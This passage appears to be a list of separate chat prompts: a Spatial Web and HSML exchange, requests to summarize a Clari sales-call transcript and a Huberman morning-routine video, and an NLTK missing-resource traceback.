create a secure and reliable system for managing and accessing government information and resources.\nFor example, the Spatial Web could be used to create a network of government databases and systems that are linked and integrated with each other, and that are accessible to authorized users and agents through the Spatial Web. This could allow government agencies to share and access information and resources in a more efficient and effective manner, and it could help to improve the transparency and accountability of government processes.\nOverall, the permission-based approach of the Spatial\ncontinue\nWeb could provide numerous benefits in the context of cyber security and government, by enabling the creation of secure and reliable systems that are able to protect against cyber threats and that are able to manage and access government information and resources in an efficient and effective manner. In addition to these benefits, the Spatial Web\'s ability to link and integrate physical and logical objects and systems in a hyper-nested and holonic structure could also enable the creation of more complex and sophisticated solutions to a wide range of problems and tasks.\nHSML allows for the expression and automation of not only physical activities but legal and financial ones as well - where the physical activity of moving something from point A to B like a truck leaving a warehouse and arriving into retailer or a user taking a product out of a store to trigger the completion of a legal agreement and trigger and automatically execute a financial transaction between the parties - HSTP queries the world and the UDG to capture all states before and after and confirms and executes that transaction by updating the UDG - understand?\nYes, I understand. HSML (Hyper Spatial Markup Language) allows for the expression and automation of physical, legal, and financial activities, enabling the creation of complex systems that can link and coordinate different types of actions and processes in order to achieve specific outcomes. For example, the movement of a truck from a warehouse to a retailer could trigger the completion of a legal agreement and the execution of a financial transaction between the parties involved, by using HSTP (Hyper Spatial Transaction Protocol) to query the world and the UDG (Universal Knowledge Graph) to capture all relevant states before and after the transaction, and to confirm and execute the transaction by updating the UDG. This could potentially enable the creation of more efficient and effective systems that are able to automate and coordinate a wide range of activities and processes in order to achieve desired outcomes.\nDo you know what DID\'s or decentralized identifiers and Verifiable Credentials or VC\'s are?\nYes, I am familiar with decentralized identifiers (DIDs) and verifiable credentials (VCs).\nDecentralized identifiers (DIDs) are a type of identifier that is based on decentralized systems, such as blockchain technology, and that is designed to give individuals or organizations more control over their digital identity and data. DIDs are unique, persistent, and cryptographically verifiable, and can be used to identify and authenticate individuals or organizations in various online contexts, such as online transactions or access to resources.\nVerifiable credentials (VCs) are a type of digital credential that is designed to be verifiable and trustworthy, and that can be used to represent various types of information or attributes, such as educational qualifications, employment history, or professional licenses. VCs can be issued by organizations, such as educational institutions or government agencies, and can be verified by other organizations or individuals in order to confirm their authenticity and accuracy. VCs can be used in various online contexts, such as job applications or access to resources, and can help to reduce the need for paper-based documents and improve the efficiency and security of various types of processes and transactions.\nGreat - all identifiers on the SW use a type DID called a SWID and all transactions - activities - meaning changes to the state of the world or UDG require VC\'s or Credentials. All Credentials are provided by Authorities:\n\nI will now give you all of the main elements of HSML:\nActors - people, or devices or AI\'s or IA\'s or organizations etc that can act in any HSTP transaction\nAssets - any object including virtual, conceptual things \nSpace - any space, including any embedding space in the UDG\nTime - a unit of measurement of time\nActivity - any change of state to anything in any physical space and time and or vector space in the UDG\nRight - the right to perform an Activity\nCredential - a record that states that an Actor has the right to perform an Activity \nAuthority - one who issues Credentials to Actors that affirm their Right to perform an Activity\nDomain - a bounded contextual range in the physical world or in vector space in the UDG i.e. the domain of california or the domain of science. Domains are nested holonically and can be mereologically organized in the physical world and in the UDG\nIt is important to note that in the Smart World, all activities and transactions are recorded in the UDG and linked to the relevant actors, assets, space, time, and domains. This allows for the transparent and verifiable tracking of all activities and transactions, and enables the use of HSML to automate complex processes and systems.\nFor example, an actor (such as a person or a device) may have the right to perform an activity (such as moving an asset from one location to another) based on a credential issued by an authority. The activity is recorded in the UDG, along with the relevant details (such as the actors involved, the assets involved, the space and time of the activity, and the domain in which the activity took place).\nThis information can then be used by other actors or systems to verify the authenticity and validity of the activity, and to automate processes or systems that depend on the completion of the activity. For example, a financial transaction might be automatically triggered when an asset is moved from one location to another, or a legal agreement might be automatically enforced when an activity is completed in a certain domain.\nOverall, HSML is a powerful tool for automating complex processes and systems in the Smart World, and enables the transparent and verifiable tracking of activities and transactions.' -'Imagine you are Stephen Donhoe. You were a part of this call. You are asked by your manager to summarize the discussion from the call as it pertains to Clari and it\'s offerings and learnings on the current way customers forecast. Ignore small talk and introductions and create a report to share with your manager.\n\nHere is the transcript of the call: "\n> Stephen Donohoe 00:00\nHave you been lazy? Did you have a nice weekend.\n> \n\n> Lizy Thomson 00:03\nStill recovering from the flu. We\'ve got flu brains here. All of us. Dealing with the weather change. And there\'s the influenza going around. And just not recovering too quickly from it so.\n> \n\n> Stephen Donohoe 00:19\nGoing to keep my camera off again. Stephen sorry.\n> \n\n> Lizy Thomson 00:22\nI was thinking this one. You said maybe today I\'ll do better and turn my camera on. But feeling like ships. Sorry.\n> \n\n> Curt Weaver 00:29\nNo, that\'s quite our ice. And don\'t worry about it.\n> \n\n> Stephen Donohoe 00:32\nAre you starting to improve it all? Or is it kind of hanging around.\n> \n\n> Lizy Thomson 00:37\nSo the minute I stock a few battle. You know. My kids, then get it. And then they give it back to me. And then we\'re just kind of. Reinfecting each other quite conveniently. Here. Recovering for a bit and then getting. Sick again. So it\'s been a bit weird because here, like we spoke the last time. Stephen is getting warmer.\n> \n\n> Stephen Donohoe 01:07\nAnd then we have a bit of sandstones that comes in from Saudi.\n> \n\n> Lizy Thomson 01:11\nAnd normally when those samsungs come and everyone\'s going down. With. Virals in Dubai. So that\'s the situation hereby.\n> \n\n> Stephen Donohoe 01:21\nYeah. Okay. And the dance trials, they can just come out of nowhere, can\'t they.\n> \n\n> Lizy Thomson 01:26\nOut of nowhere take over the entire city. Reduce visibility people with asthma Dust allergies. They just get so unwell normal people as well, because it comes to the acs. So even if we\'re in those and we think we\'re safe because it\'s like the fine dust it comes through the AC, the AC ventilation, and then.\n> \n\n> Stephen Donohoe 01:50\nYeah? There\'s no escape? No escape.\n> \n\n> Lizy Thomson 01:54\nHopefully you start to get on the mend.\n> \n\n> Stephen Donohoe 01:56\nAnd soon enough I know it\'s. I don\'t. Have kids myself. I know, Kurt. You do. But from what I hear is, yeah, it can be quite cyclical. And these illnesses, they can just keep going around.\n> \n\n> Lizy Thomson 02:11\nAbsolutely. So but. It\'s it\'s good. I mean, there\'s good to have company in misery. So it\'s okay. Lizzy, I can relate.\n> \n\n> Curt Weaver 02:26\nNo, no, I can relate. It seems like seems like we\'ve had something in our house since November. So just. I have three little kids. They\'re four, eight and nine. And so. One of them will get it passed to one of the parents, and then just it just goes around like you said. But I\'m really hoping 2023 is a year where we have like one week without anyone being sick.\n> \n\n> Curt Weaver 02:55\nSharing is caring.\n> \n\n> Lizy Thomson 02:56\nMy kids are way older. My kids are 18. My daughter turned 18. Two weeks ago. And my son is 16. But it never changes. It\'s always the same scenario. Sharing is caring, and then they start blaming each other. Typical sibling site. Well, they\'re more social at that age, too.\n> \n\n> Curt Weaver 03:20\nSo it\'s easy to keep my fouryearold daughter at home if she\'s sick. But, you know, understand. I remember being 18, and it was a harder to keep me up in the house.\n> \n\n> Lizy Thomson 03:29\nAbsolutely. Yeah. That\'s my situation right now. So we think we\'re getting better. And then two days later, we\'re down with this And it\'s really bad Cox and fevers and body aches. So it\'s a nasty, nasty viral that has definitely evolved into a superbug. That\'s what the doctors are seeing in Dubai as well. There was a news article yesterday that said the influenza. Bug has evolved into a superbug. So. Yep, it\'s fun. We\'re having a party hand by.\n> \n\n> Stephen Donohoe 04:01\nExciting times.\n> \n\n> Lizy Thomson 04:06\nI was super excited after the last meeting. I love what Carry has to offer. Was even sharing that with Nathan. I love the analytics, I love the AI. Element to it as well. I love your dashboards. So exciting. So really looking forward to today as well.\n> \n\n> Stephen Donohoe 04:26\nOkay. Awesome. I\'m glad to hear I didn\'t do a terrible job then. First some context. Curse is one of our solution engineers here as well. Lizzy. So. We can with curtain when Natan comes on as well, we can jump in or we can hold on for another couple of minutes. That\'s totally up to you, but we can start diving into some of the detail in specifically around. The consumption piece. I know that\'s an element to the business, but we can keep it pretty fluid as well. And if there\'s anything top of mind that you want to cover. Yeah. Do field questions, Curtis. Certainly the brains behind the operation here. So. You\'re well supported.\n> \n\n> Lizy Thomson 05:12\nWhat I didn\'t see the last time, but I\'m sure it\'s on clarity is like a Kp. dashboard. You know, apart from the Salesforce. That\'s. Then it\'s fantastic. There\'s also the Kpi dashboards that is currently. Managed manually. You know, in excel and with formulas. And then, of course, we recently converted those to Power Bi. But. Does clarity have. A version also that showcases. Like a scope of a comparative performance. Chart showing. Kpis. Kpi. Performance. Between each sales rep and then rolled up to the sales leader. There\'s something like that. On Clari.\n> \n\n> Stephen Donohoe 06:05\nSo. We can I suppose the short answer is yes, but requires a caveat that we would just need to understand specifically what it is that you\'re referring to. I think one thing that would be really helpful as well. At some point we can get a mutual mda in places, but just to get some visibility over the kpis that you\'re tracking and how you\'re visualizing that in excel. And in Power bi and we can see if it\'s that we can put together in a dashboard. I\'m not sure karate have there\'s any additional context that you would kind of add there.\n> \n\n> Curt Weaver 06:38\nI think you nailed it. I mean, it\'s just about understanding what kpis are tracked. And there\'s probably several different ways we can support that. And Clari. The forecast module comes to mind where because you mentioned roll up. Right. So it\'s just understanding what formulas that you\'re using today, in which metrics that you\'re interested in tracking and then. Most of our customers, what they do is they\'ll have. Steven, I\'m sure you let them know that in clarity you\'re not limited to one view of the forecast. So let\'s just say you have your sales global sales forecast in clarity. You could have a separate Kpi dashboard or Kpi based roll up where it\'s less about. Okay, well, what\'s the commit and upside, right?\n> \n\n> Lizy Thomson 07:24\nIt\'s more about here\'s the here of the sales reps and the frontline manager.\n> \n\n> Curt Weaver 07:28\nAnd maybe we\'re tracking asp\'s sales cycle link thing like things like that and rolling that.\n> \n\n> Lizy Thomson 07:36\nYou all of that. Yep. That\'s exactly what I\'m talking about.\n> \n\n> Curt Weaver 07:39\nCool. I need to. Hey, guys.\n> \n\n> Nathan Seldon 07:42\nHey, Stephen. Hey, cut. Sorry I got tied up on a on another call, which is actually about this. Let\'s get.\n> \n\n> Stephen Donohoe 07:51\nNo worries at all have you been. Yeah.\n> \n\n> Nathan Seldon 07:53\nVery good. Thanks. Very good. How about yourself? Yeah. Keep them.\n> \n\n> Stephen Donohoe 07:56\nWell, thank you. Keep them well. I just thought I\'d mention as well. I\'m not sure if you saw the email came through, but I put together just an intro for yourself and Johnny from compliance. He just shared his calendar there. They\'ve been a customer for a few years. By the way, similar stack to you. They use kaia and Outreach for top of funnel as well. They do.\n> \n\n> Nathan Seldon 08:20\nInteresting. They they do use kaya.\n> \n\n> Stephen Donohoe 08:22\nYeah. I think they use Outreach for tapa funnel. And for kaya, they might even use it for more. But I think that\'s it and then Clarity for kind of forecasting, pipeline management, things like that. But Johnny is very familiar with the Clarity platform, so definitely a good person to speak to.\n> \n\n> Nathan Seldon 08:38\nSure. Yeah. I\'ll try and connect with him this week. I saw you share this calendar there, so hopefully get a chance to sync up.\n> \n\n> Stephen Donohoe 08:44\nOkay. Cool. Well, if you need my help at all, just let me know. And yeah, outside of that and me curse and curse one of our solution engineers here. So as I was saying to Lizzie, there definitely the brains behind the operation between the two of us. So be good to kind of dive into some of the more. Yeah tactical and detail stuff around the forecasting especially consumption today.\n> \n\n> Curt Weaver 09:06\nAbsolutely nice to meet you. Hi, Nathan. Nice to meet you as well.\n> \n\n> Nathan Seldon 09:11\nHow you doing. Yeah. Doing great, man. Doing great.\n> \n\n> Curt Weaver 09:15\nExcited. Use case here around your Usage product. Based in Philadelphia. I\'ve been with Clari for about three years and typically focus on Enterprise forecasting, deployments. So we have had a couple customers come through with the consumption use case. And so Stephen tapped me to consult on what you guys are doing, so hopefully we can help you out with Larry.\n> \n\n> Stephen Donohoe 09:41\nTrust. So look, I suppose by way of an agenda for the call today, we\'ve got another 35 minutes set aside and thought it\'d best just to kind of keep this pretty conversational. I mean, we can potentially jump in and show you elements of clarity as well, if needs be. I suppose the most important thing is that we get a full understanding for how you\'re currently. I suppose. Forecasting and measuring, but also then hosting data around that consumption piece as well so that we can kind of go away and put together a couple of different options and see if we can find a solution that\'s going to work for you on that. So yeah, I suppose maybe over to you initially to just give a little bit of an overview. Maybe. Nathan, Lizzie around how you\'re currently reporting. On that consumption at the moment. And I\'m sure Kurt will have a few questions as we go. Or unless Krista was something that you wanted to kind of kick off with.\n> \n\n> Curt Weaver 10:32\nNothing to present, but if we could start at a high level and just understand the gotomarket approach for that product. And then how you\'re reporting and forecasting on that that would be very helpful.\n> \n\n> Nathan Seldon 10:47\nYeah, no problem. I\'ll have a swing at them. So the product in question is called Martrus. So it\'s. A Payments business. You can see it more as like a fintech play. Not too dissimilar to like revolute or Monzo or you know, some of these kind of popular. He kind of more ewlowerdriven solutions that you see nowadays. So the go to market approaches like our vertical. Across all of our products is within shipping. So when we talk about that, it\'s like. Transportation Companies that move product by see. On Large tanker, bulk vessels. Right. And so the Martros product is aimed at the seafarers, because that\'s where the volume is in terms of.\n> \n\n> Curt Weaver 11:40\nPersonnel.\n> \n\n> Nathan Seldon 11:42\nSo here\'s what selling to a shipping company. Who are responsible for those seafarers onboard vessels. And really the. Kind of three main products that we would try and sell into a shipping company. One is. The Crew Payment solution. So.\n> \n\n> Curt Weaver 12:02\nEvery time you pay your seatbearer, which typically once a month.\n> \n\n> Nathan Seldon 12:07\nAnd even any of your employees. But more typically, the seafarers is where the value proposition makes sense. We would basically charge you $12 flat on that transaction. Right. Because those seeds bearers are typically getting paid in local currency. So that\'s a once a month transaction. And then. And this is where it gets a little bit complex. So that\'s quite predictable. That\'s a beta B type cell, right. Every Cfare is going to get paid every month.\n> \n\n> Curt Weaver 12:40\nPretty.\n> \n\n> Nathan Seldon 12:41\nThere\'s then a B to B to C element because of our E wallet solution, which is once you paid those cf errors, they can also take advantage of our E wallet solution. And that helps them send money back home to their families. Right. So if the Cfarer decides to take that up. Then we typically see another $1212. Plus a small amount of fx revenue. So you could say $15 on when they paid or when they make another bank to bank transfer, which is typically like one or two. It\'s normally one to family back home. Right. And then you have card usage, which is like point of sale atma type transactions on that card. But that\'s going to be like really small fx revenue, which is tiny.\n> \n\n> Curt Weaver 13:34\nBut.\n> \n\n> Nathan Seldon 13:36\nIt does make up part of the like the revenue portfolio for ewallet, but again really difficult to forecast people use for it but just want to kind of paint the picture and then the other the other. Part the mantra solution is kind of like whilst we\'re talking to you, we could also handle your vendor payment. So when you pay vendors. It\'ll be a same same platform. Ultimately, what are we doing? We\'re making payments faster with fewer transaction fees. With a much better compliance platform kind of wrapped around it. And again, we\'re going to find around $15 there per transaction when they pay their customers. So the vendor payments is quite predictable. If the customer give us their volume. We know the fee that we\'re going to get per, you know, bank to make transfer.\n> \n\n> Curt Weaver 14:24\nThe crew payments is quite predictable.\n> \n\n> Nathan Seldon 14:27\nI just need to know how many crew you got and just confirm you pay them once a month. Is really tricky because that\'s that B to be to C element. Like, how many times are they gonna send money back home per month. How many times are they going to do atm withdrawals? They\'re buy a packet cigarettes. So they\'re gonna go and buy like a new car. Like.\n> \n\n> Curt Weaver 14:53\nJust really difficult.\n> \n\n> Nathan Seldon 14:54\nAnd obviously we\'re making a few dollars on the fx as well every time they spend. And so, yeah, it\'s high. The average base that\'s highly, like. The challenge, as well as the ramp. So if you told me you\'ve got 100 C fairs. Making. One payment, a month. $12 a month. That\'s quite easy for me to figure out what annually you\'re worth. Whatever. Right. But on the e wallet side. I don\'t know when your sea bearer is gonna choose to use it because they don\'t have to use it. No one can force them to use it if they don\'t want to. So like if you guys said, hey, we\'ve got this amazing deal with revolution. If you use that card, you get all of these amazing perks. You might say I\'m gonna stay with, like, Citibank. I\'m not gonna use that. And so you\'re one less person that they have predicted that\'s just kind of dropped off, if that makes sense. But you never truly know when they\'re gonna drop off because there\'s no light optout or I want to say no. It\'s just like working with the accounts trying drive the doctrine. So as that ramp piece as well, which is which is which is tricky because we might say in accounts worth 100 grand and we sign them and we only find that within twelve months we found like 30 grand because we didn\'t get the adoption of the evolve."' -"summarize the following transcript: # (185) Andrew Huberman Reveals His Entire Morning Routine - YouTube\nhttps://www.youtube.com/watch?v=t-ezOLT2Kv0\n![](https://www.youtube.com/watch?v=t-ezOLT2Kv0)\n## Transcript:\n- [00:00](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=0s) what does your morning routine look like at the moment morning routine is wake up if i round about what time uh i'm waking up these days around 6 a.m 6 30 a.m i'm trying to go to sleep by about 10 30 p.m sometimes it's 11 sometimes it's 10. i wake up um and i have to be careful here because i whenever i've described my routine in a little bit of detail people always say i can't believe you don't go to the bathroom that's like well of course i so i so i want to be clear i i take care of\n- [00:33](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=33s) my basic functions um but when i wake up i make a bee line for sunlight uh so i'm gonna get sunlight in my eyes for the you know i'll probably go into the grave saying this so forgive me if people have heard me say this before but the single best thing you can do for your sleep your energy your mood your wakefulness your metabolism is to get natural light in your eyes early in the day don't wear sunglasses to do it takes about 10 minutes or so um if you live in a cloudy area if you're in the uk in the winter yes or\n- [01:03](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=63s) the summer or the summer maybe you resort to some artificial light as a replacement but as much as one can get bright natural and if not natural artificial light in your eyes early in the day without sunglasses contacts and eyeglasses are fine don't try and do it through a window or windshield it's going to take far too long this sets in motion a huge number of different neurobiological and and hormonal cascades that are good for you reduces stress late at night offsets cortisol a million different things really that are\n- [01:33](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=93s) good for you so i get that and yes somebody does that walk do a little walk ideally that would be a walk but sometimes we'll just go into the yard and have some coffee and and you know soak into whatever sunlight through through the clouds if it's a cloudy overcast day it might be 20 30 minutes if it's a um it's a very bright day it might just be a few minutes but really the the quality studies on humans that have looked at this say try and get as much natural light as you can in the morning hours whenever it is that that is for\n- [02:00](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=120s) you especially the first three hours after waking if you can work outside great if you can get in your window because as opposed to just in a dark conference room that's better but if you can get outside that would be fantastic so i i get sunlight i hydrate i drink water and then yerba mate is my favorite form of coffee excuse me caffeine are you waiting how long are you waiting for 90 to 120 minutes are you doing any salts during that time are you taking any electrolytes in i am a fan of water with element before i had element packets i\n- [02:28](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=148s) would just take a little bit of sea salt or pink salt your favorite element flavor i like them all there's one i don't like i'm not a fan of the chocolate one but i like it yeah some people love it my podcast producer his wife loves that so i give it to her the chocolate mint one but um i like the raspberry the um the citrus one i love that stuff mango chili is if you open the mango chili and breathed in shortly afterwards it's like being pepper sprayed it's absolutely insane it's like it's like\n- [02:55](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=175s) being blasted in the face but yeah i mean that's that's just the best way that cold glass of water and that first thing in the morning and i mean it was you who uh reassured me of the what i thought was bro science about your adenosine system not being active for the first 90 minutes and if you're going to pump caffeine onto that you're not really actually acting on that your adrenal system is the one that you need to be looking at optimal you hydration all that sort of stuff it's just such a good\n- [03:18](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=198s) way to start the day so okay we've got um 90 minutes deep what have you been doing in that you've had your light in the eyes what have you been doing between that and the yerba mata in 90 minutes i do everything i can to not do email not do social media and to take care of a few critical tasks these days i'm i have this obsession with trying to do one cognitively hard thing a day one and one physically hard thing a day now does it not extreme physical not david goggins level workouts or anything but\n- [03:50](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=230s) um in that 90 minutes i'll typically try and read a research article start to finish or i'll work on a document that i might be doing a grant or research paper or planning a podcast or researching a podcast i try and get my brain into kind of a linear mode i try and narrow that aperture so i don't the distraction that's created by social media and interactions with others can kind of wick out into the rest of the day so i'm not necessarily trying to finish something in that time but i try and do something\n- [04:18](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=258s) challenging i experience great pleasure from battling through something mentally challenging but that's something that i built up since my university years when i was about you know 19 or so got serious about school and really started to experience the the deep pleasure of like i figured that out or like that was really tough i don't always succeed but that's what i'm doing in that hour to 90 minutes but i confess sometimes we'll take a walk during that time and maybe talk through some things that are\n- [04:47](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=287s) that are challenging you know or sometimes i get lazy and and i'll miss a day of that cognitive challenge then i do caffeine about 90 to 120 minutes after waking and even though i prefer to work out earlier i generally will then do some sort of physical workout i have a very consistent routine i've done over 30 years where i weight train for 45 or minutes to an hour every other day and occasionally i take an extra day off and occasionally due to travel or other commitments i'll occasionally double up\n- [05:19](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=319s) two days and then take two days off yep so it's really boring you know talk about workout schedules but it's really simple it's like you know i'll do a uh kind of pushing day rest pulling day upper body push up rest upper body pull rest and then legs take two days off something like that are you doing on the off days are you doing some sort of zone three always jogging or skipping rope those are my favorite forms of cardio sometimes swimming but typically i'll go running for 30 to 45 minutes or if i'm\n- [05:52](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=352s) feeling a little bit lazier because i always find the high intensity stuff to be easier than the long drawn out stuff i'll sometimes throw on a weight vest a 30 or 50 pound weight vest and i'll go out for a shorter run or i'll i'm a big fan of knees over toes ben patrick i know you had him oh yeah great we were down in costa rica with him and his wife who had the best time and learned so much um i'll occasionally um do a backwards you know he'll walk um or throw on the weight vest for that um\n- [06:18](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=378s) we sometimes will get bands and we'll so there's a great way to combine this we will sometimes get two people in one of these thick bands do hill walks in the morning while getting our sunlight yeah but that i don't really consider a workout i consider that just kind of rehabilitate as a movement so on the off days i'm doing cardio and sometimes that's the morning sometimes that's in the evening i do not like to wait training on the second half of the day because i like to be really caffeinated\n- [06:40](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=400s) when i train i like to listen to loud fast music most of the time not always i keep my phone out or off of for most workouts podcasts maybe if i'm running but i really try hard when i'm working out to just focus on the workout and those workouts the weight training workouts are always 10 minutes or so of warm up and then no more than 40 to 50 minutes of really hard work if i do train hard any longer i don't recover enough to be able to come in a few days later and when i train that way i generally make\n- [07:11](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=431s) pretty consistent progress and you're taking yourself up until what's up probably maybe 10 30 11 a.m something like that yeah and then i'll eat my first real meal now occasionally i'll wake up really hungry if i didn't eat that well the night before but typically the after i train i yeah i'll eat i like oatmeal after i train oatmeal fruit some fish oil protein drink and then maybe 90 to 120 minutes after that i'll have a real lunch my lunch is pretty much the biggest meal of the day if i have my way\n- [07:38](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=458s) it'll be a steak a salad maybe a little more starch although i sort of got it earlier um brazil nuts and that meal sometimes can extend longer than life i love being a feeding tube i love to eat yeah so i'll eat and then i confess i usually will work a little bit more for about 30 minutes or an hour typically email and then i'll take a um 10 to 30 minute yoga nidra nap or a nap and then come back refreshed um i really struggle with the naps when i come back after that and my emotions are all over the place i'm disoriented\n- [08:10](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=490s) maybe it's because i struggle to fall asleep super quickly and therefore i'm extending that period out for a little bit longer than i need i probably need to try the yoga nidra thing but for me it's i'm absolutely all over if i do that i wake up and i don't know what day it is and my emotions always feel a little bit out of whack as well i wake up grumpy from naps sometimes i'm told okay there are a few times when i've woken up just really angry i have no idea what that's about i don't know any of the\n- [08:34](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=514s) neurochemistry associated with that sometimes i wake up from naps it's really pleasant i'll occasionally do if the nap is early enough in the day afterwards i'll have a you know a nice double espresso and get back into work that's the hardest part of the day actually if i was well structured in the early part of the day it's that 2 or 3 p.\n- [08:52](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=532s) m the key is then to try and get something really useful done cognitively again so some people might look at this and say wait you're working for an hour in the morning and 30 minutes here and an hour in the afternoon when are you actually working but it's really about the depth of the trench when you're working and so if i'm gonna drop into something again for a few hours in the afternoon i'm really going to drop into it and that's typically phone off and out of the room and my goal is to get to the evening time so that i can do the things\n- [09:16](https://www.youtube.com/watch?v=t-ezOLT2Kv0&t=556s) that i want what's happening people if you enjoyed that then press here for the full unedited episode and don't forget to subscribe peace" -'---------------------------------------------------------------------------\nLookupError Traceback (most recent call last)\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 83 try:\n---> 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4.zip/omw-1.4/\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nDuring handling of the above exception, another exception occurred:\n\nLookupError Traceback (most recent call last)\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in \n 41 \n 42 # Preprocess train and test text data\n---> 43 train\\_df[\'text\'] = train\\_df[\'text\'].apply(preprocess\\_text)\n 44 test\\_df[\'text\'] = test\\_df[\'text\'].apply(preprocess\\_text)\n 45 \n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\series.py in apply(self, func, convert\\_dtype, args, \\*\\*kwargs)\n 4431 dtype: float64\n 4432 """\n-> 4433 return SeriesApply(self, func, convert\\_dtype, args, kwargs).apply()\n 4434 \n 4435 def \\_reduce(\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply(self)\n 1086 return self.apply\\_str()\n 1087 \n-> 1088 return self.apply\\_standard()\n 1089 \n 1090 def agg(self):\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply\\_standard(self)\n 1141 # List[Union[Callable[..., Any], str]]]]]"; expected\n 1142 # "Callable[[Any], Any]"\n-> 1143 mapped = lib.map\\_infer(\n 1144 values,\n 1145 f, # type: ignore[arg-type]\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\\\_libs\\lib.pyx in pandas.\\_libs.lib.map\\_infer()\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in preprocess\\_text(text)\n 35 # Lemmatize\n 36 lemmatizer = WordNetLemmatizer()\n---> 37 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 38 # Join tokens back into a string\n 39 text = \' \'.join(tokens)\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in (.0)\n 35 # Lemmatize\n 36 lemmatizer = WordNetLemmatizer()\n---> 37 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 38 # Join tokens back into a string\n 39 text = \' \'.join(tokens)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\stem\\wordnet.py in lemmatize(self, word, pos)\n 43 :return: The lemma of `word`, for the given `pos`.\n 44 """\n---> 45 lemmas = wn.\\_morphy(word, pos)\n 46 return min(lemmas, key=len) if lemmas else word\n 47 \n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 87 \n 88 # Load the corpus.\n---> 89 corpus = self.\\_\\_reader\\_cls(root, \\*self.\\_\\_args, \\*\\*self.\\_\\_kwargs)\n 90 \n 91 # This is where the magic happens! Transform ourselves into\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in \\_\\_init\\_\\_(self, root, omw\\_reader)\n 1174 )\n 1175 else:\n-> 1176 self.provenances = self.omw\\_prov()\n 1177 \n 1178 # A cache to store the wordnet data of multiple languages\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in omw\\_prov(self)\n 1283 provdict = {}\n 1284 provdict["eng"] = ""\n-> 1285 fileids = self.\\_omw\\_reader.fileids()\n 1286 for fileid in fileids:\n 1287 prov, langfile = os.path.split(fileid)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 84 root = 